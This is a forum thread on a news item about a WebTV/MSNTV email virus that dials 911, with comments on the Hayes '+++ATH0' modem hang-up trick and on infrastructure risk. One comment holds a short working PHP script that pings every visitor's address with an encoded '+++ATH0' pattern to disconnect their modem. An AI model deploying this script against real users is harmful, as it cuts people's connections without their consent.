WebTV/MSNTV Virus Dials 911

Semji Rkim writes: "Though not the first virus to direct modems at 911, ABC News is reporting a bug in WebTV (Now branded as MSNTV) units which causes the infected unit to hang-up and dial 911. The virus spreads via email and Microsoft officials are looking into how it is able to replicate and also control the modem. Affected users are advised to delete the email and call Microsoft at 1-800-469-3288."

Comments

Re:This is serious

[FortKnox]

Absolutely. Usually, virii are FAR from life threatening, but this one is an exception. Whoever wrote this should get some SERIOUS jail time for his work. This is one of those cases where hackers should have the book thrown at them.

a tie-in to JPG situation too ..

[Greedo]

Interesting read ... especially this part:

Some time ago, Hayes Microcomputer Products got a patent -- known as the "Heatherington patent" -- on its method of doing modem escape sequences. The patent was a "submarine" patent -- that is, one that issues long after others in the industry have begun using the same technique or technology -- and was bitterly disputed by other modem vendors, who didn't want to pay money to Hayes. However, Hayes gradually one most of the lawsuits due to deep pockets, clever lawyers, and the idiosyncrasies of the patent system.

...

Hayes, bitter about not being paid royalties by these vendors, sabotaged its own press releases by placing the characters "+++ATH0" at the top of
each document and then circulating them widely. (The idea, I suppose, was to make the press believe that other brands of modems were not reliable.) I exposed this primitive denial of service attack in my InfoWorld column in 1991.

Re:ATH0

[*xpenguin*]

I wrote a quick php script to disconnect any 56k user with a bad modem:

<?

$REMOTE_ADDR = $_SERVER[REMOTE_ADDR];
print "Your [modem] at $REMOTE_ADDR is being pinged with +++ATH0<br>";
print "<pre>";
system("/bin/ping -p 2b2b2b415448300d -c 5 $REMOTE_ADDR");
print "</pre>";
print "Ping complete.<br>";

?>

Perfect timing

[guttentag]

This was posted just seven hours after a story about ex-Microsoft security chief Howard Schmidt warning that the Internet could facilitate the collapse of our infrastructure.

A lot of people have commented that Schmidt is full of... well, Schmidt, because anything critical should not be hooked up to the Internet. But here's an example of one way the ubiquity of Internet-connected computers could disrupt things.

Hypothetical scenario:

A rogue group hiding out in the tribal areas of Pakistan writes this virus (or whatever it's officially classified as), begins sending it to WebTV random *@WebTV.net addresses and causes them to flood 911 (a critical part of our emergency response infrastructure) with false calls. While the officials are busy trying to sort the WebTV-callers from the real emergencies, a group like Al Qaeda could carry out an attack and we would be ill-equipped to respond appropriately.

Whether this "virus" was planted by terrorists is not at issue, though. Perhaps we should pay more attention to Schmidt -- after all, who would know more about the insecurity of 95% of US PCs than an ex-MS security chief. We need to start looking at how our non-Internet-connected infrastructure might be indirectly vulnerable to Internet-based attacks.

Re:ATH0

[*xpenguin*]

God damn 'redudant' moderation. Of course there are going to be redundant comments because a slashdot comment page is static. Posters don't reload it every 10 seconds to make sure their comment doesn't repeat somebody else's.